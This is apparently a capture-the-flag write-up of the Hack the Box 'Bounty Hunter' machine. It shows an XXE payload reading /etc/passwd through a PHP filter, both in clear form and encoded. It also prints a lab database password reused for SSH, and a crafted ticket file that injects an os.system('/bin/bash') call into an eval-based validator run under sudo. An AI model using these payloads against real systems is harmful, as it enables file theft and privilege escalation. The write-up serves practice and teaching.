top of page

Hack the Box - Bounty Hunter

Updated: Apr 20, 2022


Summary

We start off with a very narrow attack surface with just port 22 and 80 open. This suggests all our efforts need to be directed to the website which appears to be under development, on a apache 2.4 server using PHP. We find a form that uses XML and testing for XXE injection in the XML is successful. From here we find credentials in the db.php folder and are able to connect in via SSH. From this point we learn about a ticketvalidator.py that we have sudo privilege's to run. Reviewing this ticket file it is checking for many conditions that we satisfy in the input file and eventually call bin/bash for shell.


Tools used

  • Burpsuite

  • Cyberchef

  • B64 encode/decode

  • URL encode/decode

  • pdb debugger


Processes/techniques

  • Request proxying

  • XXE

  • Request proxying

  • URL encode/decode

  • B64 encode/decode


References

https://highlight.hohli.com/index.php (For syntax highlighting to HTML)

https://github.com/payloadbox/xxe-injection-payload-list



Phase 1A - Enumeration


Our attack surface is very straight forward and narrow. But as always, I que up AutoRecon in the background. We know from the output that our focus is going to be on the website.


Phase 1B - Website enumeration

It is nice to see a big hint in the middle of the page ;p

A very simple and fun looking website with a hint in the middle of the page suggesting "good bounty hunters know how to use burpsuite",


Looking around on the website. the only interactive fields I found were under portal which is in development and subsequently redirects us to the "Bounty Report System - Beta" page.

After trying to dump escape characters I found that the "<" actually prevented all the reflected information.


We can see that our input is reflected back to us.


However when we add a < character we see that non our input is reflected back. This is suggestive that we have broken the application and the backend parser does not know how to handle the "<" and throws the whole form post out. The "<" is indicative of XML use. As XML uses <tags> for defining tags. So lets find out.


Opening up Burpsuite we intercept the request and view the post. We see that at the bottom is data fields with encoded characters.


POST /tracker_diRbPr00f314.php HTTP/1.1

Host: 10.129.206.124

Content-Length: 223

Accept: */*

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://10.129.206.124

Referer: http://10.129.206.124/log_submit.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close


data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hYWE8L3RpdGxlPgoJCTxjd2U%2BYWFhYWE8L2N3ZT4KCQk8Y3Zzcz5hYWFhPC9jdnNzPgoJCTxyZXdhcmQ%2BYWFhYWE8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D


-------------------------------------------------------------------------------------------------------------


Phase 1C - Identify the vulnerability

XXE Processing is often abused with the use of escape characters in order to pass system commands to host
  1. Intercept the request

  2. Two stage decoding, URL ---> B64

  3. Add the External entity

  4. Encode in B64 and URL encoding

  5. Send it


Taking that data in the above proxied request we know from experience that it is some type of encoding, although running it through base 64 decoding provided some weird output the data did not appear to actually be B64 encoding. Then it dawned on me that the header in the proxied request specified URL form encoding, From here I pivoted and performed double decoding from URL ---> B64 and we received the properly formatted text and characters below.


The output from Base 64 decoding.

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>aaa</title>
		<cwe6ͅݔ7g73`Y٘\٘\ݜ́
		<reward>asfdfsa</reward6($$՝ɕ


Output when double decoding URL ----> B64

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>aaa</title>
		<cwe>aaaaa</cwe>
		<cvss>aaaa</cvss>
		<reward>aaaaa</reward>
		</bugreport>


Phase 2A - Enumerate the vulnerability


Researching "website xml version encoding vulnerabilities" will quickly land you on a OWASP page to do with XXE abuse.



XXE is the process of taking an XML form and calling an external reference. This means you either create much like a variable known as an Entity in a global container to call on anytime. In this challenge you could do either. So what we do is simply create an entity under the root tag or element and pass it the native system command to read files.




<?xml version="1.0" encoding="ISO-8859-1"?>

<bugreport>

<title>aaa</title>

<cwe>aaaaa</cwe>

<cvss>aaaa</cvss>

<reward>aaaaa</reward>

</bugreport>



TURNS INTO - After we process it



<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE boo [<!ENTITY aaa SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>

<bugreport>

<title>&aaa;</title>

<cwe>aaaaa</cwe>

<cvss>aaaa</cvss>

<reward>aaaaa</reward>

</bugreport>


Phase2B - Troubleshoot the exploit


We are using php here so we have to call php filter convert

This still does not work so we switch to a different base64 platform to address all the whitespace between lines. CyberChef does not specify any options for this.


Base 64 Encode (Disable encode each line separately)


URL Encode and it works!


PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGJvbyBbPCFFTlRJVFkgYWFhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vZXRjL3Bhc3N3ZCI%2BIF0%2BCgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU%2BJmFhYTs8L3RpdGxlPgoJCTxjd2U%2BYWFhYWE8L2N3ZT4KCQk8Y3Zzcz5hYWFhPC9jdnNzPgoJCTxyZXdhcmQ%2BYWFhYWE8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D







<?php

// TODO -> Implement login system with the database.

$dbserver = "localhost";

$dbname = "bounty";

$dbusername = "admin";

$dbpassword = "m19RoAU0hP41A1sTsq6K";

$testuser = "test";

?>


These credentials are great but don't work. Typical HTB scenario, spraying a newly found password with all known usernames. As we learned about the user Development on the box through /etc/hosts we switch to user "Development" using the same password and SSH in.



Root

This is a process of reviewing a powershell script and creating a corresponding script, that acts as a ticket for the ticket validator, which allows us to call /bin/sh.


development@bountyhunter:~$ ls

contract.txt user.txt

development@bountyhunter:~$ cat contract.txt


Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John


development@bountyhunter:~$ sudo -l


Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py





Lets break this down


Line 5: Looks if the file ends with .md.

Line 16: Looks if the file starts with # Skytrain Inc

Line 20: Checks if the next line starts with ##Ticket to

Line 22: Checks if there is a Destination after Ticket to and parses the data

Line 25: Checks if the line starts with __Ticket Code:__

Line 30: Checks if start of line begins with **

Line 32: Is looking for a '+' sign to split around

Line 33: Scan for variable and the modulus of 7 of said number should equal 4

Line 34: Checks if line evaluates to true

Line 35: Checks if number provided was larger than 100


So from here, this is much like performing a rop chain in a binary exploit. We simply have to satisfy several conditions which is largely a test of our ability to interpret code and write a basic script while perhaps using a debugger to guide us along the way.


The below is our end script or ticket that successfully satisfied all conditions and allows for us to append /bin/bash for our root shell.


# Skytrain Inc

## Ticket to Greece

__Ticket Code:__

**102 + 1 == 103 and __import__('os').system('/bin/bash') == True


development@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py 

Please enter the path to the ticket file.

/tmp/boom.md

Destination: boom
root@bountyhunter:/tmp#
























3 views0 comments

Recent Posts

See All
bottom of page